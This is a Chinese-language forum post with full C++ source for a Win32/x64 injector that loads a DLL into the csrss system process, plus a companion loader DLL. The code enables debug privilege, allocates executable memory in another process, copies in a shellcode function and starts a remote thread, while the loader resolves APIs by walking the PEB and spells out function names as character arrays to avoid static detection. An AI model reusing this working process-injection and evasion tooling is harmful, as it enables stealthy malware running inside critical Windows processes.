C++ Win32/X64 通用Shellcode注入csrss进程

ytn2001

这是做的一些研究,觉得没什么用处,人生不应该把精力放在这些小打小闹的垃圾玩意身上;先讲一下文章的主题这样做的目的，这样做免去了用汇编代码限制，纯C++编写的东西移植性高.

注入csrss进程要点：只能用导入表之存在ntdll的dll进行注入,否则会失败.其他要点基本上没什么了,csrss进程pid使用CsrGetProcessId函数获取，免去了遍历进程的痛苦.

看下我们的注入器(这是Win32/x64通用的).
代码:

1. #include "main.h"
   
2. #include "base/component_name.h"
   
3. 
   
4. namespace bootldr{
   
5.   static HANDLE WINAPI ShellcodeBegin(PTHREAD_DATA parameter){
   
6.     if (parameter->fnRtlInitUnicodeString != nullptr&&parameter->fnLdrLoadDll != nullptr){
   
7.       UNICODE_STRING UnicodeString;
   
8.       parameter->fnRtlInitUnicodeString(&UnicodeString, parameter->dllpath);
   
9.       HANDLE module_handle = nullptr;
   
10.       return (HANDLE)parameter->fnLdrLoadDll(nullptr, nullptr, &UnicodeString, &module_handle);
    
11.     }
    
12.     else{
    
13.       return (HANDLE)-3;
    
14.     }
    
15.   }
    
16.   static DWORD WINAPI ShellcodeEnd(){
    
17.     return 0;
    
18.   }
    
19.   static bool SetProcessPrivilege(DWORD SE_DEBUG_PRIVILEGE = 0x14){
    
20.     BOOLEAN bl;
    
21.     RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &bl);
    
22.     return bl;
    
23.   }
    
24.   static bool ProcessInternalExecute(PTHREAD_DATA parameter,DWORD process_id){
    
25.     HANDLE hProcess = nullptr;
    
26.     CLIENT_ID cid = { (HANDLE)process_id, nullptr };
    
27.     OBJECT_ATTRIBUTES oa;
    
28.     InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
    
29.     if (!NT_SUCCESS(NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid))){
    
30.       return false;
    
31.     }
    
32.     PVOID data = VirtualAllocEx(hProcess, NULL, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
33.     PVOID code = VirtualAllocEx(hProcess, NULL, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
34.     if (!data || !code){
    
35.       NtClose(hProcess);
    
36.       return false;
    
37.     }
    
38.     NtWriteVirtualMemory(hProcess, data, parameter, sizeof(THREAD_DATA), NULL);
    
39.     NtWriteVirtualMemory(hProcess, code, (PVOID)ShellcodeBegin, (ULONG)((LPBYTE)ShellcodeEnd - (LPBYTE)ShellcodeBegin), NULL);
    
40.     HANDLE hThread = nullptr;
    
41.     if (!NT_SUCCESS(RtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, code, data, &hThread, NULL))){
    
42.       NtClose(hProcess);
    
43.       return false;
    
44.     }
    
45.     NtWaitForSingleObject(hThread, FALSE, NULL);
    
46.     DWORD exit_code = -1;
    
47.     GetExitCodeThread(hThread, &exit_code);
    
48.     NtClose(hThread);
    
49.     VirtualFreeEx(hProcess, data, 0, MEM_RELEASE);
    
50.     VirtualFreeEx(hProcess, code, 0, MEM_RELEASE);
    
51.     NtClose(hProcess);
    
52.     return (exit_code==0);
    
53.   }
    
54.   std::wstring GetAbsolutePath(const std::wstring& name){
    
55.     wchar_t fileName[MAX_PATH] = {0};
    
56.     GetModuleFileNameW(NULL, fileName, MAX_PATH);
    
57.     PathRemoveFileSpec(fileName);
    
58.     return std::wstring(fileName).append(name);
    
59.   }
    
60.   void SetShellcodeLdrModulePath(PTHREAD_DATA parameter,const std::wstring& srcfile){
    
61.     wcscpy_s(parameter->dllpath, srcfile.c_str());
    
62.   }
    
63. }
    
64. 
    
65. int WINAPI wWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPWSTR lpCmdLine,int nShowCmd){
    
66.   THREAD_DATA parameter = {0};
    
67.   parameter.fnRtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlInitUnicodeString");
    
68.   parameter.fnLdrLoadDll = (pLdrLoadDll)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "LdrLoadDll");
    
69.   parameter.fnGetTempPathW = (pGetTempPathW)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetTempPathW");
    
70.   parameter.fnGetSystemDirectoryW = (pGetSystemDirectoryW)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetSystemDirectoryW");
    
71.   parameter.fnGetVolumeInformationW = (pGetVolumeInformationW)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetVolumeInformationW");
    
72.   bootldr::SetProcessPrivilege();
    
73.   bootldr::SetShellcodeLdrModulePath(&parameter, bootldr::GetAbsolutePath(base::kBootldrName));
    
74.   bootldr::ProcessInternalExecute(&parameter, GetCurrentProcessId()/*CsrGetProcessId()*/);
    
75.     return 0;
    
76. }

复制代码

这里再看一下我们的shellcode式的加载器，该动态库加载一个第三方dll，没有导入任何函数，全部函数通过动态获取(如果你不知道怎么动态获取，请先去研究PEB链表).

代码:

1. namespace Function{
   
2.   HANDLE GetKernel32Handle(){
   
3.     HANDLE hKernel32 = INVALID_HANDLE_VALUE;
   
4. #ifdef _WIN64
   
5.     PPEB lpPeb = (PPEB)__readgsqword(0x60);
   
6. #else
   
7.     PPEB lpPeb = (PPEB)__readfsdword(0x30);
   
8. #endif
   
9.     PLIST_ENTRY pListHead = &lpPeb->Ldr->InMemoryOrderModuleList;
   
10.     PLIST_ENTRY pListEntry = pListHead->Flink;
    
11.     WCHAR strDllName[MAX_PATH];
    
12.     WCHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', L'\0' };
    
13. 
    
14.     while (pListEntry != pListHead){
    
15.       PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
    
16.       if (pModEntry->FullDllName.Length){
    
17.         DWORD dwLen = pModEntry->FullDllName.Length;
    
18.         __MEMCPY__(strDllName, pModEntry->FullDllName.Buffer, dwLen);
    
19.         strDllName[dwLen / sizeof(WCHAR)] = L'\0';
    
20.         if (__STRSTRIW__(strDllName, strKernel32)){
    
21.           hKernel32 = pModEntry->DllBase;
    
22.           break;
    
23.         }
    
24.       }
    
25.       pListEntry = pListEntry->Flink;
    
26.     }
    
27.     return hKernel32;
    
28.   }
    
29. 
    
30.   BOOL Initialize(){
    
31.     HANDLE hKernel32 = GetKernel32Handle();
    
32.     if (hKernel32 == INVALID_HANDLE_VALUE){
    
33.       return FALSE;
    
34.     }
    
35.     LPBYTE lpBaseAddr = (LPBYTE)hKernel32;
    
36.     PIMAGE_DOS_HEADER lpDosHdr = (PIMAGE_DOS_HEADER)lpBaseAddr;
    
37.     PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(lpBaseAddr + lpDosHdr->e_lfanew);
    
38.     PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(lpBaseAddr + pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    
39. 
    
40.     LPDWORD pNameArray = (LPDWORD)(lpBaseAddr + pExportDir->AddressOfNames);
    
41.     LPDWORD pAddrArray = (LPDWORD)(lpBaseAddr + pExportDir->AddressOfFunctions);
    
42.     LPWORD pOrdArray = (LPWORD)(lpBaseAddr + pExportDir->AddressOfNameOrdinals);
    
43.     CHAR strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0x0 };
    
44.     CHAR strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 };
    
45. 
    
46.     for (UINT i = 0; i < pExportDir->NumberOfNames; i++){
    
47.       LPSTR pFuncName = (LPSTR)(lpBaseAddr + pNameArray[i]);
    
48.       if (!__STRCMPI__(pFuncName, strGetProcAddress)){
    
49.         GetProcAddressAPI = (FARPROC(WINAPI*)(HMODULE, LPCSTR))(lpBaseAddr + pAddrArray[pOrdArray[i]]);
    
50.       }
    
51.       else if (!__STRCMPI__(pFuncName, strLoadLibraryA)){
    
52.         LoadLibraryWAPI = (HMODULE(WINAPI*)(LPCWSTR))(lpBaseAddr + pAddrArray[pOrdArray[i]]);
    
53.       }
    
54.       if (GetProcAddressAPI != nullptr && LoadLibraryWAPI != nullptr){
    
55.         return TRUE;
    
56.       }
    
57.     }
    
58.     return FALSE;
    
59.   }
    
60. 
    
61. 
    
62.   FARPROC GetAddress(const char* function_name){
    
63. #ifdef OS_WIN_64
    
64.     PPEB lpPeb = (PPEB)__readgsqword(0x60);
    
65. #else
    
66.     PPEB lpPeb = (PPEB)__readfsdword(0x30);
    
67. #endif
    
68.     PLIST_ENTRY pListHead = &lpPeb->Ldr->InMemoryOrderModuleList;
    
69.     PLIST_ENTRY pListEntry = pListHead->Flink;
    
70.     while (pListEntry != pListHead){
    
71.       PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
    
72.       if (pModEntry->FullDllName.Length){
    
73.         FARPROC address = GetProcAddressAPI(LoadLibraryWAPI(pModEntry->FullDllName.Buffer), function_name);
    
74.         if (address){
    
75.           return address;
    
76.         }
    
77.       }
    
78.       pListEntry = pListEntry->Flink;
    
79.     }
    
80.     return nullptr;
    
81.   }
    
82. 
    
83. 
    
84.   bool ImportDll(){
    
85.     using OLE_INITIALIZE = HRESULT(WINAPI*)(LPVOID);
    
86.     wchar_t dll_ole32[] = { L'O', L'l', L'e', L'3', L'2', L'.', L'd', L'l', L'l', 0 };
    
87.     char dll_ole32_api[] = { 'O', 'l', 'e', 'I', 'n', 'i', 't', 'i', 'a', 'l', 'i', 'z', 'e', 0 };
    
88.     OLE_INITIALIZE ole_initialize = reinterpret_cast<OLE_INITIALIZE>(GetProcAddressAPI(LoadLibraryWAPI(dll_ole32), dll_ole32_api));
    
89.     using INIT_COMMON_CONTROLS_EX = void (WINAPI*)(const void*);
    
90.     wchar_t dll_comctl32[] = { L'C', L'o', L'm', L'c', L't', L'l', L'3', L'2', L'.', L'd', L'l', L'l', 0 };
    
91.     char dll_comctl32_api[] = { 'I', 'n', 'i', 't', 'C', 'o', 'm', 'm', 'o', 'n', 'C', 'o', 'n', 't', 'r', 'o', 'l', 's', 'E', 'x', 0 };
    
92.     INIT_COMMON_CONTROLS_EX init_common_controls_ex = reinterpret_cast<INIT_COMMON_CONTROLS_EX>(GetProcAddressAPI(LoadLibraryWAPI(dll_comctl32), dll_comctl32_api));
    
93.     if (ole_initialize == nullptr || init_common_controls_ex == nullptr){
    
94.       return false;
    
95.     }
    
96.     init_common_controls_ex(nullptr);
    
97.     return (ole_initialize(nullptr) == S_OK);
    
98.   }
    
99. 
    
100. 
     
101.   HMODULE LoadPluginEngine(HMODULE hModule, const wchar_t* name){
     
102.     DWORD(WINAPI* GetModuleFileNameWAPI)(HMODULE, LPWSTR, DWORD);
     
103.     GetModuleFileNameWAPI = (DWORD(WINAPI*)(HMODULE, LPWSTR, DWORD))Function::GetAddress("GetModuleFileNameW");
     
104.     HRESULT(STDAPICALLTYPE* PathRemoveFileSpecWPI)(LPWSTR);
     
105.     PathRemoveFileSpecWPI = (HRESULT(STDAPICALLTYPE*)(LPWSTR))Function::GetAddress("PathRemoveFileSpecW");
     
106.     if (GetModuleFileNameWAPI!=nullptr&&PathRemoveFileSpecWPI != nullptr){
     
107.       wchar_t fileName[MAX_PATH];
     
108.       GetModuleFileNameWAPI(hModule, fileName, MAX_PATH);
     
109.       PathRemoveFileSpecWPI(fileName);
     
110.       __STRCATW__(fileName, (LPWSTR)name);
     
111.       return LoadLibraryWAPI(fileName);
     
112.     }
     
113.     return nullptr;
     
114.   }
     
115. }
     
116. 
     
117. 
     
118. BOOL WINAPI DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){
     
119.   static HMODULE ldr = nullptr;
     
120.   if(ul_reason_for_call==DLL_PROCESS_ATTACH){
     
121.     Function::Initialize();
     
122.     Function::ImportDll();
     
123.     if (DisableThreadLibraryCallsAPI == nullptr){
     
124.       DisableThreadLibraryCallsAPI = (BOOL(WINAPI*)(HMODULE))Function::GetAddress("DisableThreadLibraryCalls");
     
125.       DisableThreadLibraryCallsAPI(hModule);
     
126.     }
     
127.     if (RtlAdjustPrivilege==nullptr){
     
128.       BOOLEAN enabled_privilege = 0;
     
129.       const DWORD SE_DEBUG_PRIVILEGE = 0x14;
     
130.       RtlAdjustPrivilege = (ULONG(NTAPI*)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN))Function::GetAddress("RtlAdjustPrivilege");
     
131.       RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &enabled_privilege);
     
132.     }
     
133.     ldr = Function::LoadPluginEngine(hModule, base::kPluginLdrName);
     
134.     return (ldr != nullptr);
     
135.   }
     
136.   if (ul_reason_for_call == DLL_PROCESS_DETACH){
     
137.     if (FreeLibraryAPI == nullptr){
     
138.       FreeLibraryAPI = (BOOL(WINAPI*)(HMODULE))Function::GetAddress("FreeLibrary");
     
139.       return (FreeLibraryAPI(ldr));
     
140.     }
     
141.   }
     
142.   return FALSE;
     
143. }

复制代码